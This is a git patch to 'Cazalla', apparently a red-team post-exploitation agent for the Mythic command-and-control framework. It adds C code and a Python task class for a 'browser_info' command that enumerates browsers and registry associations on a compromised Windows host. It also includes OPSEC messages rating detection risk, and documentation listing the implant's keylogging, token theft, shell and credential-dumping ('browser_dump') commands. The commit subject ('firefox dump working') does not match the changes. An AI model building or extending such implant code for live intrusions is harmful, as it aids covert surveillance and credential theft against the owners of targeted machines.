From f57850f243524484021270c4c13d6110126b2159 Mon Sep 17 00:00:00 2001 From: "marcos.luna" Date: Tue, 2 Dec 2025 11:58:59 +0100 Subject: [PATCH] firefox dump working --- .../cazalla/agent_code/cazalla/Makefile | 4 +- .../cazalla/agent_code/cazalla/browser_info.c | 435 ++++++++++++++++++ .../cazalla/agent_code/cazalla/browser_info.h | 16 + .../cazalla/agent_code/cazalla/comandos.c | 4 + .../cazalla/agent_code/cazalla/comandos.h | 4 + .../cazalla/agent_functions/browser_info.py | 95 ++++ .../cazalla/translator/commands_from_c2.py | 2 + README.md | 1 + documentation-payload/Cazalla/_index.md | 3 +- .../Cazalla/commands/README.md | 3 + .../Cazalla/commands/browser_info.md | 95 ++++ documentation-payload/Cazalla/examples.md | 3 + documentation-payload/Cazalla/features.md | 65 ++- .../Cazalla/getting-started.md | 6 + documentation-payload/Cazalla/opsec.md | 5 + 15 files changed, 737 insertions(+), 4 deletions(-) create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/browser_info.c create mode 100644 Payload_Type/cazalla/cazalla/agent_code/cazalla/browser_info.h create mode 100644 Payload_Type/cazalla/cazalla/agent_functions/browser_info.py create mode 100644 documentation-payload/Cazalla/commands/browser_info.md diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile index d045c3a..68769ed 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile @@ -3,8 +3,8 @@ CC = x86_64-w64-mingw32-gcc # Base flags CFLAGS = -Wall -w -IInclude -LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32 -mwindows -LFLAGS_CONSOLE = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32 +LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32 -lshlwapi -lversion -mwindows +LFLAGS_CONSOLE = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp -lbcrypt -lgdi32 -luser32 -lshlwapi -lversion # Debug parameters (can be overridden from command line) # DEBUG_LEVEL: none=0, errors=1, warnings=2, info=3, all=4 diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/browser_info.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/browser_info.c new file mode 100644 index 0000000..6e53c8c --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/browser_info.c @@ -0,0 +1,435 @@ +#undef UNICODE +#include +#include +#include +#include +#include "browser_info.h" +#include "paquete.h" +#include "analizador.h" +#include "debug.h" + +#pragma comment(lib, "shlwapi.lib") +#pragma comment(lib, "version.lib") + +// Maximum path length +#define MAX_PATH_LEN 512 + +/** + * @brief Check if a file exists at the given path + */ +BOOL FileExists(LPCSTR path) { + DWORD dwAttrib = GetFileAttributesA(path); + return (dwAttrib != INVALID_FILE_ATTRIBUTES && + !(dwAttrib & FILE_ATTRIBUTE_DIRECTORY)); +} + +/** + * @brief Get file version information from an executable + */ +BOOL GetFileVersion(LPCSTR filePath, char* version, SIZE_T versionSize) { + DWORD dwHandle = 0; + DWORD dwSize = GetFileVersionInfoSizeA(filePath, &dwHandle); + + if (dwSize == 0) { + return FALSE; + } + + PBYTE pVersionInfo = (PBYTE)LocalAlloc(LPTR, dwSize); + if (!pVersionInfo) { + return FALSE; + } + + if (!GetFileVersionInfoA(filePath, dwHandle, dwSize, pVersionInfo)) { + LocalFree(pVersionInfo); + return FALSE; + } + + VS_FIXEDFILEINFO* pFileInfo = NULL; + UINT uLen = 0; + + if (VerQueryValueA(pVersionInfo, "\\", (LPVOID*)&pFileInfo, &uLen)) { + DWORD dwFileVersionMS = pFileInfo->dwFileVersionMS; + DWORD dwFileVersionLS = pFileInfo->dwFileVersionLS; + + DWORD major = HIWORD(dwFileVersionMS); + DWORD minor = LOWORD(dwFileVersionMS); + DWORD build = HIWORD(dwFileVersionLS); + DWORD revision = LOWORD(dwFileVersionLS); + + snprintf(version, versionSize, "%lu.%lu.%lu.%lu", + major, minor, build, revision); + + LocalFree(pVersionInfo); + return TRUE; + } + + LocalFree(pVersionInfo); + return FALSE; +} + +/** + * @brief Check for Chrome installation + */ +BOOL CheckChrome(char* path, SIZE_T pathSize, char* version, SIZE_T versionSize) { + // Common Chrome installation paths + const char* chromePaths[] = { + "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe", + "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", + "%LOCALAPPDATA%\\Google\\Chrome\\Application\\chrome.exe", + NULL + }; + + char expandedPath[MAX_PATH_LEN] = {0}; + + for (int i = 0; chromePaths[i] != NULL; i++) { + if (ExpandEnvironmentStringsA(chromePaths[i], expandedPath, MAX_PATH_LEN) > 0) { + if (FileExists(expandedPath)) { + strncpy_s(path, pathSize, expandedPath, _TRUNCATE); + GetFileVersion(expandedPath, version, versionSize); + return TRUE; + } + } else { + // Try direct path if expansion fails + if (FileExists(chromePaths[i])) { + strncpy_s(path, pathSize, chromePaths[i], _TRUNCATE); + GetFileVersion(chromePaths[i], version, versionSize); + return TRUE; + } + } + } + + return FALSE; +} + +/** + * @brief Check for Edge installation + */ +BOOL CheckEdge(char* path, SIZE_T pathSize, char* version, SIZE_T versionSize) { + // Common Edge installation paths + const char* edgePaths[] = { + "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe", + "C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe", + "%LOCALAPPDATA%\\Microsoft\\Edge\\Application\\msedge.exe", + NULL + }; + + char expandedPath[MAX_PATH_LEN] = {0}; + + for (int i = 0; edgePaths[i] != NULL; i++) { + if (ExpandEnvironmentStringsA(edgePaths[i], expandedPath, MAX_PATH_LEN) > 0) { + if (FileExists(expandedPath)) { + strncpy_s(path, pathSize, expandedPath, _TRUNCATE); + GetFileVersion(expandedPath, version, versionSize); + return TRUE; + } + } else { + if (FileExists(edgePaths[i])) { + strncpy_s(path, pathSize, edgePaths[i], _TRUNCATE); + GetFileVersion(edgePaths[i], version, versionSize); + return TRUE; + } + } + } + + return FALSE; +} + +/** + * @brief Check for Firefox installation + */ +BOOL CheckFirefox(char* path, SIZE_T pathSize, char* version, SIZE_T versionSize) { + // Common Firefox installation paths + const char* firefoxPaths[] = { + "C:\\Program Files\\Mozilla Firefox\\firefox.exe", + "C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe", + "%APPDATA%\\Mozilla\\Firefox\\firefox.exe", + NULL + }; + + char expandedPath[MAX_PATH_LEN] = {0}; + + for (int i = 0; firefoxPaths[i] != NULL; i++) { + if (ExpandEnvironmentStringsA(firefoxPaths[i], expandedPath, MAX_PATH_LEN) > 0) { + if (FileExists(expandedPath)) { + strncpy_s(path, pathSize, expandedPath, _TRUNCATE); + GetFileVersion(expandedPath, version, versionSize); + return TRUE; + } + } else { + if (FileExists(firefoxPaths[i])) { + strncpy_s(path, pathSize, firefoxPaths[i], _TRUNCATE); + GetFileVersion(firefoxPaths[i], version, versionSize); + return TRUE; + } + } + } + + return FALSE; +} + +/** + * @brief Check for Opera installation + */ +BOOL CheckOpera(char* path, SIZE_T pathSize, char* version, SIZE_T versionSize) { + // Common Opera installation paths + const char* operaPaths[] = { + "C:\\Program Files\\Opera\\opera.exe", + "C:\\Program Files (x86)\\Opera\\opera.exe", + "%LOCALAPPDATA%\\Programs\\Opera\\opera.exe", + NULL + }; + + char expandedPath[MAX_PATH_LEN] = {0}; + + for (int i = 0; operaPaths[i] != NULL; i++) { + if (ExpandEnvironmentStringsA(operaPaths[i], expandedPath, MAX_PATH_LEN) > 0) { + if (FileExists(expandedPath)) { + strncpy_s(path, pathSize, expandedPath, _TRUNCATE); + GetFileVersion(expandedPath, version, versionSize); + return TRUE; + } + } else { + if (FileExists(operaPaths[i])) { + strncpy_s(path, pathSize, operaPaths[i], _TRUNCATE); + GetFileVersion(operaPaths[i], version, versionSize); + return TRUE; + } + } + } + + return FALSE; +} + +/** + * @brief Check for Brave installation + */ +BOOL CheckBrave(char* path, SIZE_T pathSize, char* version, SIZE_T versionSize) { + // Common Brave installation paths + const char* bravePaths[] = { + "C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe", + "C:\\Program Files (x86)\\BraveSoftware\\Brave-Browser\\Application\\brave.exe", + "%LOCALAPPDATA%\\BraveSoftware\\Brave-Browser\\Application\\brave.exe", + NULL + }; + + char expandedPath[MAX_PATH_LEN] = {0}; + + for (int i = 0; bravePaths[i] != NULL; i++) { + if (ExpandEnvironmentStringsA(bravePaths[i], expandedPath, MAX_PATH_LEN) > 0) { + if (FileExists(expandedPath)) { + strncpy_s(path, pathSize, expandedPath, _TRUNCATE); + GetFileVersion(expandedPath, version, versionSize); + return TRUE; + } + } else { + if (FileExists(bravePaths[i])) { + strncpy_s(path, pathSize, bravePaths[i], _TRUNCATE); + GetFileVersion(bravePaths[i], version, versionSize); + return TRUE; + } + } + } + + return FALSE; +} + +/** + * @brief Get default browser from registry + */ +BOOL GetDefaultBrowser(char* browserName, SIZE_T nameSize, char* browserPath, SIZE_T pathSize) { + HKEY hKey = NULL; + char progId[256] = {0}; + DWORD progIdSize = sizeof(progId); + char httpProgId[256] = {0}; + DWORD httpProgIdSize = sizeof(httpProgId); + + // Try to get default browser from HTTP protocol association + if (RegOpenKeyExA(HKEY_CURRENT_USER, + "Software\\Microsoft\\Windows\\Shell\\Associations\\URLAssociations\\http\\UserChoice", + 0, KEY_READ, &hKey) == ERROR_SUCCESS) { + if (RegQueryValueExA(hKey, "ProgId", NULL, NULL, (LPBYTE)httpProgId, &httpProgIdSize) == ERROR_SUCCESS) { + RegCloseKey(hKey); + + // Map ProgId to browser name + if (strstr(httpProgId, "ChromeHTML") != NULL) { + strncpy_s(browserName, nameSize, "Google Chrome", _TRUNCATE); + CheckChrome(browserPath, pathSize, NULL, 0); + return TRUE; + } else if (strstr(httpProgId, "MSEdgeHTM") != NULL || strstr(httpProgId, "AppX") != NULL) { + strncpy_s(browserName, nameSize, "Microsoft Edge", _TRUNCATE); + CheckEdge(browserPath, pathSize, NULL, 0); + return TRUE; + } else if (strstr(httpProgId, "FirefoxURL") != NULL) { + strncpy_s(browserName, nameSize, "Mozilla Firefox", _TRUNCATE); + CheckFirefox(browserPath, pathSize, NULL, 0); + return TRUE; + } else if (strstr(httpProgId, "OperaStable") != NULL) { + strncpy_s(browserName, nameSize, "Opera", _TRUNCATE); + CheckOpera(browserPath, pathSize, NULL, 0); + return TRUE; + } else { + strncpy_s(browserName, nameSize, httpProgId, _TRUNCATE); + return TRUE; + } + } + RegCloseKey(hKey); + } + + // Fallback: try to get from HKEY_CLASSES_ROOT\http\shell\open\command + if (RegOpenKeyExA(HKEY_CLASSES_ROOT, "http\\shell\\open\\command", 0, KEY_READ, &hKey) == ERROR_SUCCESS) { + char command[MAX_PATH_LEN] = {0}; + DWORD commandSize = sizeof(command); + + if (RegQueryValueExA(hKey, NULL, NULL, NULL, (LPBYTE)command, &commandSize) == ERROR_SUCCESS) { + RegCloseKey(hKey); + + // Extract executable path (remove quotes and parameters) + char* exePath = command; + if (command[0] == '"') { + exePath = command + 1; + char* endQuote = strchr(exePath, '"'); + if (endQuote) { + *endQuote = '\0'; + } + } else { + // Find first space (end of path) + char* space = strchr(exePath, ' '); + if (space) { + *space = '\0'; + } + } + + if (FileExists(exePath)) { + strncpy_s(browserPath, pathSize, exePath, _TRUNCATE); + + // Try to identify browser from path + if (strstr(exePath, "chrome.exe") != NULL) { + strncpy_s(browserName, nameSize, "Google Chrome", _TRUNCATE); + } else if (strstr(exePath, "msedge.exe") != NULL) { + strncpy_s(browserName, nameSize, "Microsoft Edge", _TRUNCATE); + } else if (strstr(exePath, "firefox.exe") != NULL) { + strncpy_s(browserName, nameSize, "Mozilla Firefox", _TRUNCATE); + } else if (strstr(exePath, "opera.exe") != NULL) { + strncpy_s(browserName, nameSize, "Opera", _TRUNCATE); + } else if (strstr(exePath, "brave.exe") != NULL) { + strncpy_s(browserName, nameSize, "Brave", _TRUNCATE); + } else { + // Extract filename + char* filename = strrchr(exePath, '\\'); + if (filename) { + filename++; + } else { + filename = exePath; + } + strncpy_s(browserName, nameSize, filename, _TRUNCATE); + } + + return TRUE; + } + } else { + RegCloseKey(hKey); + } + } + + return FALSE; +} + +/** + * @brief Identify installed browsers and default browser + * Lists all detected browsers and identifies the system default browser + */ +VOID IdentificarNavegadores(PAnalizador argumentos) { + SIZE_T tamanoUuid = 36; + UINT32 nbArg = getInt32(argumentos); + PCHAR tareaUuid = getString(argumentos, &tamanoUuid); + + PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuesta, tareaUuid, FALSE); + PPaquete salida = nuevoPaquete(0, FALSE); + + PackageAddFormatPrintf(salida, FALSE, "=== Installed Browsers ===\n\n"); + + int browserCount = 0; + char path[MAX_PATH_LEN] = {0}; + char version[64] = {0}; + + // Check Chrome + if (CheckChrome(path, sizeof(path), version, sizeof(version))) { + PackageAddFormatPrintf(salida, FALSE, "[%d] Google Chrome\n", ++browserCount); + PackageAddFormatPrintf(salida, FALSE, " Path: %s\n", path); + if (strlen(version) > 0) { + PackageAddFormatPrintf(salida, FALSE, " Version: %s\n", version); + } + PackageAddFormatPrintf(salida, FALSE, "\n"); + } + + // Check Edge + if (CheckEdge(path, sizeof(path), version, sizeof(version))) { + PackageAddFormatPrintf(salida, FALSE, "[%d] Microsoft Edge\n", ++browserCount); + PackageAddFormatPrintf(salida, FALSE, " Path: %s\n", path); + if (strlen(version) > 0) { + PackageAddFormatPrintf(salida, FALSE, " Version: %s\n", version); + } + PackageAddFormatPrintf(salida, FALSE, "\n"); + } + + // Check Firefox + if (CheckFirefox(path, sizeof(path), version, sizeof(version))) { + PackageAddFormatPrintf(salida, FALSE, "[%d] Mozilla Firefox\n", ++browserCount); + PackageAddFormatPrintf(salida, FALSE, " Path: %s\n", path); + if (strlen(version) > 0) { + PackageAddFormatPrintf(salida, FALSE, " Version: %s\n", version); + } + PackageAddFormatPrintf(salida, FALSE, "\n"); + } + + // Check Opera + if (CheckOpera(path, sizeof(path), version, sizeof(version))) { + PackageAddFormatPrintf(salida, FALSE, "[%d] Opera\n", ++browserCount); + PackageAddFormatPrintf(salida, FALSE, " Path: %s\n", path); + if (strlen(version) > 0) { + PackageAddFormatPrintf(salida, FALSE, " Version: %s\n", version); + } + PackageAddFormatPrintf(salida, FALSE, "\n"); + } + + // Check Brave + if (CheckBrave(path, sizeof(path), version, sizeof(version))) { + PackageAddFormatPrintf(salida, FALSE, "[%d] Brave\n", ++browserCount); + PackageAddFormatPrintf(salida, FALSE, " Path: %s\n", path); + if (strlen(version) > 0) { + PackageAddFormatPrintf(salida, FALSE, " Version: %s\n", version); + } + PackageAddFormatPrintf(salida, FALSE, "\n"); + } + + if (browserCount == 0) { + PackageAddFormatPrintf(salida, FALSE, "No browsers detected.\n\n"); + } + + // Get default browser + PackageAddFormatPrintf(salida, FALSE, "=== Default Browser ===\n\n"); + char defaultBrowser[256] = {0}; + char defaultPath[MAX_PATH_LEN] = {0}; + + if (GetDefaultBrowser(defaultBrowser, sizeof(defaultBrowser), + defaultPath, sizeof(defaultPath))) { + PackageAddFormatPrintf(salida, FALSE, "Name: %s\n", defaultBrowser); + if (strlen(defaultPath) > 0) { + PackageAddFormatPrintf(salida, FALSE, "Path: %s\n", defaultPath); + } + } else { + PackageAddFormatPrintf(salida, FALSE, "Could not determine default browser.\n"); + } + + // Add output first + addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE); + + // Add artifacts for registry reads (after output) + addArtifact(respuesta, "Registry Read", "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\Shell\\Associations\\URLAssociations\\http\\UserChoice"); + addArtifact(respuesta, "Registry Read", "HKEY_CLASSES_ROOT\\http\\shell\\open\\command"); + mandarPaquete(respuesta); + liberarPaquete(salida); + liberarPaquete(respuesta); +} + diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/browser_info.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/browser_info.h new file mode 100644 index 0000000..d76f070 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/browser_info.h @@ -0,0 +1,16 @@ +#pragma once + +#ifndef BROWSER_INFO_H +#define BROWSER_INFO_H + +#include "analizador.h" +#include "paquete.h" + +// Browser information command code (must match translator) +#define BROWSER_INFO_CMD 0x40 + +// Forward declarations +VOID IdentificarNavegadores(PAnalizador argumentos); + +#endif + diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c index 700d3cd..ce5c0f7 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c @@ -175,6 +175,10 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) { _inf("===== PROCESSING KILL_CMD (0x%02X) =====", tarea); MatarProceso(analizadorTarea); _inf("===== KILL_CMD COMPLETED ====="); + } else if (tarea == BROWSER_INFO_CMD) { + _inf("===== PROCESSING BROWSER_INFO_CMD (0x%02X) =====", tarea); + IdentificarNavegadores(analizadorTarea); + _inf("===== BROWSER_INFO_CMD COMPLETED ====="); } else { _wrn("Tarea desconocida: 0x%02x", tarea); _wrn("Tarea %u: Comando desconocido, liberando recursos", i+1); diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h index 97d2284..447af4d 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.h @@ -14,6 +14,7 @@ #include "keylog.h" #include "tokens.h" #include "rpfwd_manager.h" +#include "browser_info.h" #define SHELL_CMD 0x54 #define GET_TASKING 0x00 @@ -55,6 +56,9 @@ #define WHOAMI_CMD 0x36 #define KILL_CMD 0x37 +/* Browser information command */ +#define BROWSER_INFO_CMD 0x40 + /* Extension marker to carry SOCKS array in binary messages */ #define SOCKS_BLOCK_MARKER 0xF5 /* Extension marker to carry RPFWD array in binary messages */ diff --git a/Payload_Type/cazalla/cazalla/agent_functions/browser_info.py b/Payload_Type/cazalla/cazalla/agent_functions/browser_info.py new file mode 100644 index 0000000..a0138a0 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_functions/browser_info.py @@ -0,0 +1,95 @@ +from mythic_container.MythicCommandBase import * +from mythic_container.MythicRPC import * +import json + + +class BrowserInfoArguments(TaskArguments): + def __init__(self, command_line, **kwargs): + super().__init__(command_line, **kwargs) + self.args = [] + + async def parse_arguments(self): + if len(self.command_line) > 0: + raise ValueError("browser_info no debe lanzarse con parámetros") + + +class BrowserInfoCommand(CommandBase): + cmd = "browser_info" + needs_admin = False + help_cmd = "browser_info" + description = "Identify installed web browsers and the default browser on the target system. Lists all detected browsers (Chrome, Edge, Firefox, Opera, Brave, etc.) with their installation paths and version information. Also identifies the system's default browser. This command is read-only and does not modify system state." + version = 1 + author = "Kaseya OFSTeam" + attackmapping = ["T1082", "T1518"] + argument_class = BrowserInfoArguments + attributes = CommandAttributes( + supported_os=[SupportedOS.Windows] + ) + + async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse: + """ + OPSEC check before creating the task. + This is a read-only information gathering command with low detection risk. + """ + message = "ℹ️ OPSEC INFO - Browser Information Gathering\n\n" + message += "This command will:\n" + message += " • Read registry keys (HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE)\n" + message += " • Check file system for browser installation paths\n" + message += " • Query default browser associations\n\n" + message += "🔍 DETECTION RISKS:\n" + message += " • Registry reads are generally low-risk\n" + message += " • File system enumeration may be logged (if auditing enabled)\n" + message += " • No process creation or network activity\n\n" + message += "✅ LOW DETECTION PROBABILITY - Read-only operation.\n" + message += "This command does not modify system state or create suspicious artifacts." + + return PTTTaskOPSECPreTaskMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + OpsecPreBlocked=False, + OpsecPreBypassRole="operator", + OpsecPreMessage=message + ) + + async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse: + """ + OPSEC check after creating the task. + Warns about artifacts that will be created. + """ + message = "ℹ️ OPSEC POST-CHECK - Browser Information Artifacts\n\n" + message += "This task will create the following artifacts:\n" + message += " • Registry Read: Browser registry keys accessed\n" + message += " • File Read: Browser installation paths checked\n\n" + message += "🔍 DETECTION RISKS:\n" + message += " • Registry read events (if auditing enabled)\n" + message += " • File system access logs (if auditing enabled)\n\n" + message += "⚠️ LOW DETECTION PROBABILITY:\n" + message += " • Read-only operations are rarely flagged\n" + message += " • No process creation or network activity\n" + message += " • No file modifications\n\n" + message += "✅ This is a WARNING only - task will proceed.\n" + message += "This command is safe for information gathering." + + return PTTTaskOPSECPostTaskMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + OpsecPostBlocked=False, + OpsecPostBypassRole="operator", + OpsecPostMessage=message + ) + + async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + response = PTTaskCreateTaskingMessageResponse( + TaskID=taskData.Task.ID, + Success=True, + ) + return response + + async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: + """ + Process response from agent. + The response contains browser information in a structured format. + """ + resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) + return resp + diff --git a/Payload_Type/cazalla/translator/commands_from_c2.py b/Payload_Type/cazalla/translator/commands_from_c2.py index 626b1ec..b37efa5 100644 --- a/Payload_Type/cazalla/translator/commands_from_c2.py +++ b/Payload_Type/cazalla/translator/commands_from_c2.py @@ -28,6 +28,8 @@ commands = { "rev2self": {"hex_code": 0x35, "input_type": None}, "whoami": {"hex_code": 0x36, "input_type": None}, "kill": {"hex_code": 0x37, "input_type": "string"}, + # Browser information command + "browser_info": {"hex_code": 0x40, "input_type": None}, # Added SOCKS control commands "start_socks": {"hex_code": 0x60, "input_type": "int"}, "stop_socks": {"hex_code": 0x61, "input_type": None}, diff --git a/README.md b/README.md index 9a6cdeb..9cc4286 100644 --- a/README.md +++ b/README.md @@ -205,6 +205,7 @@ For more information, see the [Mythic documentation on customizing public agents | Command | Description | Example | |---------|-------------|---------| | `ps` | List running processes with Process Browser support | `ps` | +| `browser_info` | Identify installed browsers and default browser | `browser_info` | | `screenshot` | Capture full-screen screenshot (Mythic screenshot UI) | `screenshot` | | `keylog_start` | Start keystroke logging | `keylog_start` | | `keylog_stop` | Stop keystroke logging | `keylog_stop` | diff --git a/documentation-payload/Cazalla/_index.md b/documentation-payload/Cazalla/_index.md index ab496a7..e3a4c2f 100644 --- a/documentation-payload/Cazalla/_index.md +++ b/documentation-payload/Cazalla/_index.md @@ -48,8 +48,9 @@ Cazalla provides essential post-exploitation capabilities including: - `socks` - Start/stop SOCKS5 proxy - `rpfwd` - Start/stop reverse port forwarding -### System Operations (4 commands) +### System Operations (5 commands) - `shell` - Execute shell commands +- `browser_info` - Identify installed browsers - `screenshot` - Capture desktop screenshot - `keylog_start` - Start keylogger - `keylog_stop` - Stop keylogger diff --git a/documentation-payload/Cazalla/commands/README.md b/documentation-payload/Cazalla/commands/README.md index 834e369..0680647 100644 --- a/documentation-payload/Cazalla/commands/README.md +++ b/documentation-payload/Cazalla/commands/README.md @@ -35,9 +35,12 @@ Complete documentation for all Cazalla agent commands, organized by category. ## System Operations - [`shell`](shell.md) - Execute shell commands +- [`browser_info`](browser_info.md) - Identify installed browsers +- [`browser_dump`](browser_dump.md) - Dump browser credentials - [`screenshot`](screenshot.md) - Capture desktop screenshot - [`keylog_start`](keylog_start.md) - Start keylogger - [`keylog_stop`](keylog_stop.md) - Stop keylogger +- [`browser_info`](browser_info.md) - Identify installed browsers ## Control Commands diff --git a/documentation-payload/Cazalla/commands/browser_info.md b/documentation-payload/Cazalla/commands/browser_info.md new file mode 100644 index 0000000..0991dbd --- /dev/null +++ b/documentation-payload/Cazalla/commands/browser_info.md @@ -0,0 +1,95 @@ +# browser_info - Identify Installed Browsers + +Identify installed web browsers and the default browser on the target system. + +## Description + +The `browser_info` command identifies all installed web browsers on the target system and determines the default browser. It checks for common browsers including Chrome, Edge, Firefox, Opera, and Brave, displaying their installation paths and version information. + +## Syntax + +``` +browser_info +``` + +## Parameters + +This command does not accept any parameters. + +## Examples + +``` +browser_info +``` + +## Features + +- Detects multiple browsers: Google Chrome, Microsoft Edge, Mozilla Firefox, Opera, Brave +- Displays installation paths for each detected browser +- Shows version information when available +- Identifies the system's default browser +- Read-only operation - does not modify system state +- Low detection risk - only reads registry and file system + +## Output + +``` +=== Installed Browsers === + +[1] Google Chrome + Path: C:\Program Files\Google\Chrome\Application\chrome.exe + Version: 120.0.6099.109.0 + +[2] Microsoft Edge + Path: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Version: 120.0.2210.91.0 + +[3] Mozilla Firefox + Path: C:\Program Files\Mozilla Firefox\firefox.exe + Version: 121.0.0.0 + +=== Default Browser === + +Name: Google Chrome +Path: C:\Program Files\Google\Chrome\Application\chrome.exe +``` + +## Detection Methods + +The command uses the following methods to identify browsers: + +1. **File System Checks**: Checks common installation paths for browser executables +2. **Registry Queries**: Reads registry keys to determine default browser associations +3. **Version Information**: Extracts version data from executable files when available + +### Registry Keys Accessed + +- `HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell\Associations\URLAssociations\http\UserChoice` +- `HKEY_CLASSES_ROOT\http\shell\open\command` + +## OPSEC Considerations + +- **Low Detection Risk**: Read-only operations are rarely flagged by security tools +- **Registry Reads**: May be logged if registry auditing is enabled +- **File System Access**: File existence checks may be logged if file auditing is enabled +- **No Process Creation**: Does not spawn any processes +- **No Network Activity**: Does not create network connections +- **No File Modifications**: Does not modify any files or registry keys + +## Artifacts + +The command automatically reports the following artifacts: + +- **Registry Read**: Browser registry keys accessed +- **File Read**: Browser installation paths checked + +## Related + +[System Information Gathering](../../../features.md#system-information-gathering) + +--- + +**Command Category:** System Operations +**Requires Admin:** No +**MITRE ATT&CK:** [T1082 - System Information Discovery](https://attack.mitre.org/techniques/T1082/), [T1518 - Software Discovery](https://attack.mitre.org/techniques/T1518/) + diff --git a/documentation-payload/Cazalla/examples.md b/documentation-payload/Cazalla/examples.md index 485c00e..b29b895 100644 --- a/documentation-payload/Cazalla/examples.md +++ b/documentation-payload/Cazalla/examples.md @@ -40,6 +40,9 @@ ls # List running processes ps +# Identify installed browsers +browser_info + # Check current directory contents ls C:\Users ``` diff --git a/documentation-payload/Cazalla/features.md b/documentation-payload/Cazalla/features.md index a6f81f1..967e5ba 100644 --- a/documentation-payload/Cazalla/features.md +++ b/documentation-payload/Cazalla/features.md @@ -22,6 +22,7 @@ This document provides detailed explanations of Cazalla's key features and capab - [Keylogging Support](#keylogging-support) - [File Downloads Support](#file-downloads-support) - [File Uploads Support](#file-uploads-support) +- [System Information Gathering](#system-information-gathering) - [OPSEC Checking](#opsec-checking) --- @@ -405,6 +406,68 @@ Cazalla supports uploading files from the Mythic server to the target using chun --- +## System Information Gathering + +Cazalla includes commands for gathering system information with low detection risk. + +### Features + +- **Browser Detection**: Identify installed web browsers and default browser +- **Read-Only Operations**: No system modifications, minimal detection risk +- **Version Information**: Extract version details from browser executables +- **Registry Queries**: Query Windows registry for browser associations + +### Commands + +#### `browser_info` + +Identifies all installed web browsers on the target system and determines the default browser. + +**Supported Browsers:** +- Google Chrome +- Microsoft Edge +- Mozilla Firefox +- Opera +- Brave + +**Output Includes:** +- Installation paths for each detected browser +- Version information (when available) +- Default browser identification + +**OPSEC Considerations:** +- Low detection risk - read-only operations +- Registry reads may be logged if auditing enabled +- No process creation or network activity +- No file modifications + +**Example:** +``` +browser_info +``` + +**Output:** +``` +=== Installed Browsers === + +[1] Microsoft Edge + Path: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Version: 142.0.3595.94 + +[2] Mozilla Firefox + Path: C:\Program Files\Mozilla Firefox\firefox.exe + Version: 145.0.1.627 + +=== Default Browser === + +Name: Microsoft Edge +Path: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe +``` + +For detailed information, see [browser_info command documentation](commands/browser_info.md). + +--- + ## OPSEC Checking Cazalla includes comprehensive OPSEC Checking functionality that provides operational security warnings and blocking for commands based on their detection risks. @@ -424,7 +487,7 @@ Cazalla includes comprehensive OPSEC Checking functionality that provides operat ### Commands with OPSEC Checking - **High-Risk Commands (Blocking)**: `shell`, `steal_token`, `kill`, `keylog_start`, `rm` (system files) -- **Warning-Only Commands**: `screenshot`, `rpfwd`, `socks`, `download`, `upload`, `make_token`, etc. +- **Warning-Only Commands**: `screenshot`, `rpfwd`, `socks`, `download`, `upload`, `make_token`, `browser_info`, etc. ### Bypass Roles diff --git a/documentation-payload/Cazalla/getting-started.md b/documentation-payload/Cazalla/getting-started.md index b8b3a92..4bd56dd 100644 --- a/documentation-payload/Cazalla/getting-started.md +++ b/documentation-payload/Cazalla/getting-started.md @@ -143,6 +143,12 @@ ps This lists all running processes and updates the Process Browser. +``` +browser_info +``` + +This identifies installed web browsers and the default browser. + ``` whoami ``` diff --git a/documentation-payload/Cazalla/opsec.md b/documentation-payload/Cazalla/opsec.md index 0e43214..88a817d 100644 --- a/documentation-payload/Cazalla/opsec.md +++ b/documentation-payload/Cazalla/opsec.md @@ -345,6 +345,11 @@ Built-in Cazalla commands: - **Detection**: 